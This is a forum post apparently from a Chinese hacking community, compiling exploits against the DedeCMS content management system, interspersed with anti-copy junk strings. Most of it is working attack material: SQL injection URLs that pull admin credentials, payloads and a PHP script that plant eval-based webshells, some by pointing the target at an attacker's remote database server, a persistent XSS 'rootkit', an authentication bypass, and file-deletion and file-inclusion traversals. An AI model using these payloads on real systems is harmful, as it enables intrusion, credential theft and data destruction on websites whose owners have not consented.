找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3318|回复: 0
打印 上一主题 下一主题

dedecms漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 10:42:14 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

- R- H- c/ {% i" m8 V6 BDedecms 5.6 rss注入漏洞
9 j8 H2 |4 ?+ n' Y
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
, j0 Q+ S) M8 k% z$ ~- c
! _  l0 X' f; O! x" P; Y5 N1 u! \* \, l( Q

/ T( g  w8 r3 V, f" M
& k. j( k" M0 B8 A+ O
9 Z" M# s% B0 q+ w
# t3 v' b2 b- e6 L& \  p8 N
- ?( l! j  \! v8 |/ M) W
* u/ P9 E% V" I" S; lDedeCms v5.6 嵌入恶意代码执行漏洞  I  ]- ^! w. O, g
注册会员,上传软件:本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}2 `9 I, o' g$ v6 \! M
发表后查看或修改即可执行6 D- {" F$ e+ B/ R+ J; `) a
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
$ P% t$ v2 U) e: j( {生成x.php 密码xiao,直接生成一句话。
) H+ A, h" G: H3 N; f, v- K, p0 n' ~7 O  D

+ M9 A2 ]* c3 p
3 k0 J0 |: h; T( s4 W8 ?$ d. g: D7 w8 M8 N- k$ |

6 G9 D' j0 j$ {$ G. S' \
2 V: K. G* J4 P4 s
" s. s! c% ^& _
. _, U* e- y, i: Q2 |Dede 5.6 GBK SQL注入漏洞3 W/ B0 v2 e) N4 W( E" @& ]' P
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';3 h9 M( y# o' d7 \( k* T6 f
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
. Z/ w! H! w! Y6 R5 uhttp://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A77 B9 c- W/ [9 ^+ B. P) r( t. Q

9 x5 n7 S: ~' j& e  ]. E1 V9 }! e# @

% ]) I- Z; }, I$ z6 y
) ?- m7 n0 J) P  i) L3 c
: b& g9 j/ C5 e% l2 N
. g1 e% M, n! c+ N! W& w1 t5 _9 u6 ], {1 L3 C

% u8 j" V4 p/ Q5 DDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞! w$ _9 U6 W  ^+ \. F& _# H  x5 l
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
" |! O+ h! a" `6 \7 l% X' P3 S0 G% b2 F; d, W% W. _
( Z1 m7 k8 B+ h9 M, x- U! E

1 j3 L3 I; U& E3 j, U" ^9 l
! W4 n# U0 O7 a$ U) _4 h1 B; r2 W6 E- K3 Q$ _

0 h7 K/ P$ c, [% c% rDEDECMS 全版本 gotopage变量XSS漏洞& v. l  n+ J6 `- }* h8 s" b: j- F
1.复制粘贴下面的URL访问,触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞,需关闭XSS筛选器。 ( }, n: [  r  D8 i2 k, s( Z/ D7 u
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="7 b5 C" d. p: R5 }, m
* W& V1 q0 r' I* u' ~5 S
/ D, o: A. r1 V6 m6 e
2.关闭浏览器,无论怎么访问下面的任意URL,都会触发我们的XSS。
0 E( M* l: |3 F& M* J
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda" B& q/ L7 Z! ]+ n5 n( ]

* w0 h' ?% _4 Q# O' U1 P9 Y$ `& L' y( v( q& h, V, C. T
http://v57.demo.dedecms.com/dede/login.php8 f6 {+ ?. P$ d: ^0 Z3 [  Z8 N

, ^1 r+ \" ~% R5 C; s! |5 s% t6 C$ c3 e$ F* K+ v9 R
color=Red]DeDeCMS(织梦)变量覆盖getshell1 L- H1 c( n, |& Z( H( S7 H
#!usr/bin/php -w
5 e7 |+ {* o3 e; o: K  U<?php9 q% D/ q1 ~0 q5 o5 ~- ^
error_reporting(E_ERROR);
- W2 p/ B: N( K( C" ?set_time_limit(0);
+ F1 h1 _, ~+ v0 b& W; L: p% u- wprint_r('/ q& g( W+ W7 E: w/ ^
DEDEcms Variable Coverage  T) n# J) c+ U5 i. p/ `- u
Exploit Author:
www.heixiaozi.comwww.webvul.com7 I" k; N! o3 G% }7 S. T. O
);" q! I/ d3 @7 @; v: D- E9 s6 N
echo "\r\n";
  U) k# N: o7 Z5 gif($argv[2]==null){" e; w: C5 M! j3 z$ q
print_r(', H: `  _) U; p: Q# j. e
+---------------------------------------------------------------------------+4 ]/ _& c: q- ^: n$ ^4 C
Usage: php '.$argv[0].' url aid path: z* i, c( W( S; N2 ^  K2 k' w
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
% |% A, q& r9 i) Q) B5 ~Example:/ h/ q5 p# P9 A% P% s7 x7 M
php '.$argv[0].'
www.site.com 1 old
; V8 O7 w5 N" I6 U+---------------------------------------------------------------------------+8 T4 U" Z( a( S6 m! T
');
5 `3 R: p9 Y" M. r0 Y) ?2 {exit;$ K! _2 R5 J8 t
}
% ~# r8 {1 m1 i- s. c) `$url=$argv[1];/ h' n# ]  ]0 t1 o2 Y# G
$aid=$argv[2];2 H; |' H1 p! Q: l6 V; u
$path=$argv[3];
, @1 N8 C* b) Y0 K4 z$exp=Getshell($url,$aid,$path);/ s9 h* |1 q* T1 K0 r8 ^
if (strpos($exp,"OK")>12){" f7 g, A! Q8 H/ K) A$ P
echo "
% ~% N5 x7 R; ^% ]Exploit Success \n";6 O1 e+ A: j; k; @  r+ d1 d
if($aid==1)echo "0 h8 {( @2 e( @8 w
Shell:".$url."/$path/data/cache/fuck.php\n" ;
. n2 l& z. r3 f1 {+ P
3 M2 P$ X- h: A, X9 j' c9 h4 \
% E7 r8 T# s9 ?3 }# Z) A* Bif($aid==2)echo "
, l$ M. F/ n) e* HShell:".$url."/$path/fuck.php\n" ;" }& @* B  C3 u' k9 d" P
+ |7 C! g( ~4 S

! L5 {; P5 k6 d9 yif($aid==3)echo "5 Z2 i" g5 x2 _; T+ d: T( M& c
Shell:".$url."/$path/plus/fuck.php\n";
* j7 ]1 `, `2 k, ?& K2 L5 ^& u
" C1 M' X' C( U1 E$ {- E" o2 ^! K) t2 p" S6 |1 A" H. C4 Y
}else{
. i  @* p& [4 i" W. C( j5 Qecho "
0 [# q! Z; a' [/ @* _1 ?( cExploit Failed \n";
6 p' p) w! R3 P/ y- V7 \/ ^( `}; m1 q  {8 j+ R4 o( s
function Getshell($url,$aid,$path){
! e2 q7 L& _; p/ T) ?$id=$aid;" `5 y1 W# ~* K% g
$host=$url;
) B# m; c" g# T$ a; P8 k6 x; O$port="80";8 V( @* w( `% w5 n% M8 z  e
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
+ m' r5 a0 q8 {; f  x, l" Q( D$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";6 C1 Q6 }9 K$ a+ ?6 n, g
$data .= "Host: ".$host."\r\n";
4 i5 r, Y& u1 s8 [$ H, t$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 x8 Y7 [) B. Y+ g# b" X- h$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
7 o( w" g! i4 C7 Z. ^2 O+ D( }$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";; o' W( Y/ \- u$ v: h
//$data .= "Accept-Encoding: gzip,deflate\r\n";! x3 v) s' N( m
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";7 h$ R2 ?1 r" ]9 {% }" y9 @" V) H
$data .= "Connection: keep-alive\r\n";
7 K4 T7 O9 f" Q0 k8 s$data .= "Content-Type: application/x-www-form-urlencoded\r\n";5 ]$ ]+ O% H% d
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";5 C3 Y  P# s+ G  t, [: X$ _
$data .= $content."\r\n";
8 t: y) U2 P$ ?, C% O7 S$ock=fsockopen($host,$port);
2 ^9 T# Q+ V2 s; P6 D. nif (!$ock) {
0 y% e( o0 A" y: mecho "
: t$ E" {1 `! P9 m( ANo response from ".$host."\n";, w& S& }  B1 ^
}
& t5 o  j! `9 N5 F5 |) Ifwrite($ock,$data);$ B* [  o# y- B; D+ f9 i: A
while (!feof($ock)) {
( {1 h8 Q  y$ Q" S) C9 c8 K8 M* f$exp=fgets($ock, 1024);, L2 X/ K. A% I
return $exp;
8 r( p4 T4 h( Z}
, ]- Z0 j; B1 ]& e}
9 u' `9 ]' d' K; G9 U% C+ R
! W5 T" n. Q0 Z' k7 `& e6 G) t; \! s% X! b3 M1 S" J
?>7 f, B  i* a$ f, A9 U+ V

% ~# Z& {6 c" c
& S) g: b4 Y; ?# ]* ^' [& R' C- u
4 m4 b: K3 j) p% i. ?. ^$ q. G/ f: b' V, ~/ |
$ @9 ?+ ~7 F+ e+ T6 w; T( ^

7 D4 N! [% a' i5 X% w* E' {& I! M6 {/ N
$ U9 E( h2 x& P3 O) ]( B: z
* e' H7 u4 N, ^. q

* X; t# t. b0 x# a  dDedeCms v5.6-5.7 越权访问漏洞(直接进入后台), B# a! W2 H& }" V( ?* n$ _
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
% C, ]* X$ W- i) l" w) Z! Q; n
: G' P. A& b2 y! @! V" u6 Z! h4 O, E4 e/ y- {6 k1 a+ f
把上面validate=dcug改为当前的验证码,即可直接进入网站后台% |6 f# A4 V  x6 |7 |1 g$ l: s; B

* O. W6 I$ @9 t5 p& |' H8 @/ Q1 U% U: Z$ \- H& A4 y( ?( V4 T1 k
此漏洞的前提是必须得到后台路径才能实现
; ?& T+ v/ n9 H2 @; J3 `, i
5 _% S" ~) h  m8 x, K& `: e: H7 A9 Q6 O1 q

9 C( [1 _5 x, n) B" L# T
' O7 T' u+ i  p2 f, x
( @# n4 x) I& W1 ~
8 ^, Q: m$ i2 N3 S5 H) T0 X! p4 O8 ^
' ~' W7 n- J2 ^6 e  t" a

4 D: ^2 i3 y! Z( @7 Z: k+ o
! O! g  ^* ?9 Y' ^3 B2 gDedecms织梦 标签远程文件写入漏洞
- z6 z' t/ j. O* q前题条件,必须准备好自己的dede数据库,然后插入数据: insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');8 j* V1 g4 e: X4 V+ Q

; A. e' |- j% m5 W$ X& N8 ?! ~8 E& C3 p/ V' l/ p
再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。 $ {7 A5 z% Z2 k' H# v/ B5 @! U  f
<form action="" method="post" name="QuickSearch" id="QuickSearch">
! h4 ^) `5 v4 T4 R0 n( D) b, L<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />( |" ~* c) e7 N) Y
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
( r, K2 N. v( E( [8 f- l" u<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
9 c' N0 ?$ B1 m# S% ?) z8 l<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br /># L  C7 h; R' ^! M6 ^
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
/ ^: S1 T; l4 l; X<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />" ?; y/ U1 X  ]7 Q, N0 o1 s2 j
<input type="text" value="true" name="nocache" style="width:400">: @0 L: s. i2 @2 ^! E4 R
<input type="submit" value="提交" name="QuickSearchBtn"><br />' ]# H! m- R; i
</form>5 i. ^! ?. a' w8 W
<script>8 j' c, `/ f% F- C1 c/ q8 y! p
function addaction()* R& v6 u# q7 q$ G
{
+ J/ a4 e& b" h, A/ T4 I4 Odocument.QuickSearch.action=document.QuickSearch.doaction.value;2 \$ L) e! r5 T
}1 @5 C2 w- ]# z3 R+ K6 h
</script>
* V# R7 C" t% N9 ]4 }1 D5 ]) [- `( @+ m4 T3 x5 o& i" I. v$ i
& D& k6 u- y6 z; h! K0 M

* x6 K* L% J1 ^4 Q: E4 B, p
1 X  d$ [: B( D, b6 ~
) k2 @  x& U) v. f
% u( Y! i3 L" x) o" {1 R) S8 f; ~5 r
" u2 a* v1 B1 w
/ y% f; X' W0 Q/ j. `# ~' c/ Y
" J2 G" B; g% X- Q
DedeCms v5.6 嵌入恶意代码执行漏洞
! c- K# ?) \1 y0 i- ^+ X注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行  V- D2 ]5 p; J' ?, d
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}! u$ N7 ^$ v( l9 D: {: l6 e. i
生成x.php 密码:xiao直接生成一句话。密码xiao 大家懂得
( p1 h& l9 o- N% ADedecms <= V5.6 Final模板执行漏洞
7 H5 W8 g& _" d, e% g' ^注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:" J; |: i% N4 |9 D
uploads/userup/2/12OMX04-15A.jpg
& Z5 T. y' Z2 }9 ]  V2 m! a% s
2 M# q! E" K- J& x5 Y
4 r! _/ E, a% H  Y/ X2 e) [4 d模板内容是(如果限制图片格式,加gif89a):6 [; B) g" f* `7 e: z+ {
{dede:name runphp='yes'}
& v* h0 N3 q3 I) C) \! {, i: ]$fp = @fopen("1.php", 'a');4 X1 d; l6 ^' a! {0 S
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");% \* `, x6 x( u; D. y- O% Y- H
@fclose($fp);% E' z! D! ?: C8 S2 ^8 B
{/dede:name}8 M/ f5 V! ^! \  T* v  @4 i
2 修改刚刚发表的文章,查看源文件,构造一个表单:. m- @- ^* e5 v8 l3 @# W  P' B0 F7 f3 o
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
- t: `6 q$ X7 ~+ m8 t# v  Z. `<input type="hidden" name="dopost" value="save" />
: H2 h' t" h; U& p+ Z# D0 V<input type="hidden" name="aid" value="2" />/ d" k. [% X( C2 h! [7 g4 r" ^
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />% i2 u+ x# L  m0 h& E- Y, L
<input type="hidden" name="channelid" value="1" />
1 _. T! N5 w+ s) m7 n<input type="hidden" name="oldlitpic" value="" />
  ^/ p$ y" a# S5 F, {<input type="hidden" name="sortrank" value="1275972263" />
4 x, G: S) |1 c* `; Y/ R6 O6 {2 u5 d* w: n, o, j, z2 C* c: o

0 V  W# D3 v$ L* l<div id="mainCp">( d! M) [' f2 {" a
<h3 class="meTitle"><strong>修改文章</strong></h3>, h8 S7 v( `& `" L6 u/ d
5 h8 f" m! B" t

, [0 ~& Y: `5 Y<div class="postForm">
( m4 N* L' P" F2 Q<label>标题:</label>; H( W9 R- L+ c8 D- o! K" x# u# b
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
  S8 ~0 W3 K7 S3 ]/ o/ e6 c  ?/ A9 V& T3 h
# P. j. F# O+ U2 d6 ]* h; s
<label>标签TAG:</label>  ~/ m9 t2 W, W% M
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)& Z! m8 v) A4 z2 V

4 y+ b: S7 z3 c" `" _; B$ n$ @% J) n: B$ s" n1 f! K8 _9 F
<label>作者:</label>7 ?  f$ c1 u4 _9 z
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>+ O) e( D( D+ ~) r4 N
9 L% S/ k6 ?0 Y
/ H& K' J# p. F; B- t& l3 ?( X
<label>隶属栏目:</label>
) I, U7 J4 z( U<select name='typeid' size='1'>8 W% u" [$ e3 J  U, W
<option value='1' class='option3' selected=''>测试栏目</option>
5 }- R6 J9 U; m' c( k) A</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
/ V1 ^: `* r9 B+ g
( b8 m4 \6 B- D( F$ _1 a- `( P5 M9 T: j
<label>我的分类:</label>
: s. [) G5 q2 v' [4 b% d<select name='mtypesid' size='1'>9 U' L  L6 m) o0 p+ w5 b! L) V
<option value='0' selected>请选择分类...</option>
. {1 I. {( N  `' g! x8 b$ d<option value='1' class='option3' selected>hahahha</option>5 q9 ?# g+ B" ]$ S! u
</select>$ }' s3 {" M0 s0 s8 F) s; |
+ h$ T& U/ T9 i3 ^

& ~$ u0 G& N/ w; B+ ~<label>信息摘要:</label>
: M, N6 _8 k: g  X3 u<textarea name="description" id="description">1111111</textarea>$ A6 _  a0 L4 _& c# D7 p6 y! V
(内容的简要说明)9 i1 G& m* }7 k# @+ ~

' V7 @$ D3 h. f3 ?; X: d
: A. A6 ~& j# E+ N/ c! k, Y<label>缩略图:</label>
4 z" A) e# ]1 R- x, l1 B% ?" E<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>/ x+ P6 @/ S% }6 v2 b8 C0 b5 P" q
3 d* j! s6 G* n' K

1 d3 c' c, V7 K* Q<input type='text' name='templet'
2 n& z' T7 `# g2 a; }$ q7 ]value="../ uploads/userup/2/12OMX04-15A.jpg">
7 R8 N7 k' f+ a9 ?+ Z6 }<input type='text' name='dede_addonfields'
  e3 `* x( ?2 ^  Ivalue="templet,htmltext;">(这里构造)
4 `" E; K2 M6 ]</div>
, d2 o+ D7 o* s% P- @/ `# j( o
, W0 i2 R1 e3 w$ a% S4 \# ?* _5 y* ]' W' b1 M' R% ~3 d
<!-- 表单操作区域 -->
( q  X# V# b' C& E<h3 class="meTitle">详细内容</h3>
! U' P. \( Y7 I" ?2 {" K& p: J& m" k

* M) k2 `3 {* F7 W9 B5 r. [<div class="contentShow postForm">5 S) s/ S  J, C, D. F
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
( n2 D: b. l, P8 W, s) V
) P: W1 X) H' a, K! p% {. o
4 v1 J, M  d& R2 s; X( L; o4 o, O! \/ B<label>验证码:</label>
( M3 I; y9 ]& D  j+ Z6 f& Q<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
4 z, E, P- i9 h& w# e<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" />
# _" v2 n* E5 \; ?! d% ^- C: J$ N2 v+ V' l% w: Y

' k2 z; U" [! F4 X3 }: z; W* T<button class="button2" type="submit">提交</button>
; l, I- |) l' o' d  W<button class="button2 ml10" type="reset">重置</button>
: d( M0 m2 G2 Y7 K% g</div>
8 `  D: O* J4 J% t  W1 g3 Z! |/ W; ]
) q& o( ]: q  N  Q8 B6 }- a  Y0 |, g5 N1 q- T0 C9 [( a* o$ [
</div>
+ x" E! l9 U1 ]
; \0 j  c( G2 S9 m5 O& Z& [5 f* v9 F# z- M% {7 v% z9 V) F
</form>
5 U) ?; K) w2 b3 a; k/ U  W- ]' I: n& d
" O) l1 i! @4 \' Z; @9 Q
1 u! ]2 ^' F8 Z3 ]8 B5 R提交,提示修改成功,则我们已经成功修改模板路径。 3 访问修改的文章:
9 w8 J* o* d$ V' }/ m假设刚刚修改的文章的aid为2,则我们只需要访问:  j2 S* O* E- Z5 p3 O1 Q" T
http://127.0.0.1/dede/plus/view.php?aid=2
+ z4 d) N) a/ }即可以在plus目录下生成webshell:1.php
, o8 _3 [' F" |
3 ?9 d7 f1 y' @2 `$ G( c+ H$ T, }
/ }  `" z; s5 z1 c
  @9 }; g; Q- q5 u  I& Q/ k& z. x0 A2 M0 g/ R6 |

; J- |3 T, s* @& O3 ^5 Z' G! K/ E1 Z: i' z; `/ W

+ K! n* I$ `  U- q0 ^+ y& G9 n3 @: s" {; I+ l  ]7 ]6 R# }

  g) \7 c4 E/ R% k8 Z
! k  j9 `( ]7 o, C, A7 t- z5 K9 b( P9 G1 e" m9 M7 D8 ?

3 j& v: m1 o0 e. jDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
" l8 O0 w( @; L  s5 M( |$ FGif89a{dede:field name='toby57' runphp='yes'}
8 k6 j& O# s+ [% ]* j. L& e% p: yphpinfo();8 {8 ]2 D: u4 r% R: ]$ N4 B
{/dede:field}) `2 Q; B$ o. x. S
保存为1.gif
# F2 a: D+ |( H<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
) S5 l9 ]! u2 K  `- |<input type="hidden" name="aid" value="7" />
- G( P6 P  s4 g1 M<input type="hidden" name="mediatype" value="1" />
4 [' ?5 E- I1 S( ~<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br> . i0 y: u7 S4 ?! S  p, p2 I
<input type="hidden" name="dopost" value="save" />
6 a4 `7 a- [1 b; O<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
9 x, `$ X% i8 ~# ?; R<input name="addonfile" type="file" id="addonfile"/>
+ U  A9 P4 z* ]& d' Y, l1 p<button class="button2" type="submit" >更改</button> & f3 s2 m0 \- o9 K0 ?
</form>   k) U, N. r8 P9 ]5 w8 }* Y* z  N" g( h

( ?9 ?2 _- _) z
8 N; ^# ~( I9 M2 W/ W9 t构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
$ ?  a  y3 W+ v4 i发表文章,然后构造修改表单如下:
& f1 k* B6 J& {4 {  ~1 g3 e0 a* m2 n6 J7 ?2 t9 F: K

" ~$ S/ [$ Z# f3 A, ]<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data"> # K3 y: b* u! q9 w4 ]: q2 E
<input type="hidden" name="dopost" value="save" /> 1 ^5 a; z' ?! u0 e
<input type="hidden" name="aid" value="2" /> * f1 Y0 T- o5 r$ r2 I
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
( v$ R9 h' A) `7 }# n<input type="hidden" name="channelid" value="1" /> & e+ W1 l- a, |) H1 X/ U, f' W
<input type="hidden" name="oldlitpic" value="" />
3 A- j7 n2 U; i/ k) V0 U<input type="hidden" name="sortrank" value="1282049150" /> 0 b6 R7 h) e+ M, U0 i
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
% \" U) @" ^% r# B! a" Z<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/> 8 ^, @, a" \, S7 y! ]6 O- l
<select name='typeid' size='1'> 2 b0 P. d0 F4 R% _! ?! J
<option value='1' class='option3' selected=''>Test</option> ! X4 K7 e' h) p- |
<select name='mtypesid' size='1'>
' y5 d1 t7 ?% n& g2 d<option value='0' selected>请选择分类...</option>
: J+ G) [- w9 z: c$ k4 X8 e<option value='1' class='option3' selected>aa</option></select> 5 F* t. e9 i4 D, w# j3 K3 N
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea> , ^) |( j, ^. S% ^" h5 \, r) y+ @
<input type='hidden' name='dede_addonfields' value="templet">
# v. L( [" D4 z  s! M<input type='hidden' name='templet' value="../uploads/userup/3/1.gif"> 9 v% O7 ~, d) V5 |: k, _. a' L
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" /> 5 C$ L- ]5 X+ F* f  r' i( f7 m: J' R
<button class="button2" type="submit">提交</button> 0 [1 @1 e. S+ s" g
</form>* d* a) ]5 P; c% v( b( \% a

# X' x1 [% M; O; d9 @
  C' Z  ]8 i! q5 _( A2 D/ K- P% Z0 ?+ X& Q
. l7 p) ?! W' N  }, \: R

# \8 f  H: G2 o8 k: c: H
6 s2 `+ u+ n" p" z" l
, ]) k- ~) @- u, Z" _9 b: F9 G$ o; M/ j- I$ A+ s. i: M

9 n. h2 T1 m; z1 }* r9 {1 l4 Q# ^" a$ R, E; j$ k) h+ V
+ y- V5 {5 l: Z1 g- d# t; I0 P
; L  ?* A; \0 V3 }) y
织梦(Dedecms)V5.6 远程文件删除漏洞* x$ q  n8 b1 i
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif! W6 G3 v5 v4 j) |9 _7 A5 H) C# Y; j1 l
2 H) N6 B7 \1 m" ]  Y  w) L

6 x$ G3 x5 h5 s- o# r" K# N5 P0 x6 V) R% u0 V
; X/ ~7 L: i/ H2 n0 _- q

( Y) F$ k2 g* e  [6 e) K$ m! n' ?$ G' ~, ?; L9 ~  @1 |, Z
3 l6 m$ D1 T% q. f2 h% D5 Q
  V# X6 Q/ }% }. B) ?

, @: X! \1 _& }- N% h5 S1 V) ]: Q
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞 9 }! D$ D/ p" D/ x2 l8 Q, ^
http://www.test.com/plus/carbuya ... urn&code=../../
/ J# ?5 c1 u1 i; N% v; N
  v- l1 Z# t  F. I) Z6 }1 \2 _4 E; X
8 S! Q$ z7 K! A+ w: }) j

( P! u* a$ p8 e; r0 X4 D" k7 s5 M; c9 Z
5 O  N7 j3 M. r: d

7 W/ w* |9 F% J4 A  f6 r0 |' H) j1 [: C( {/ O
* ?# p( C5 Q2 V0 s

' O* v4 _( x( T+ G2 k* Z6 BDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞 1 ~0 M1 R9 ~% z& |
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
/ F& W5 }1 g" {. |" |% T, V密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD57 l+ [- G$ k3 Y4 f
2 [* `& N6 }' W$ x0 u" c

  f( v; Y# {% k/ `9 o+ a7 }9 s7 E7 e% K/ z' o. K) W, w) X

" m! l. M2 `7 f4 ]1 c5 ]5 X/ a4 g4 z9 u2 P

7 L6 a/ t( x2 y4 u% y" w; d( V2 {7 n2 C' `

& k: L& N2 p% w' Q9 G5 B
) y/ M8 @$ F. @
5 H5 ^; a+ N: C; C织梦(Dedecms) 5.1 feedback_js.php 注入漏洞) R+ n9 H7 o8 t9 c. L1 s* |
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='' \8 g7 _+ w, e4 U6 L

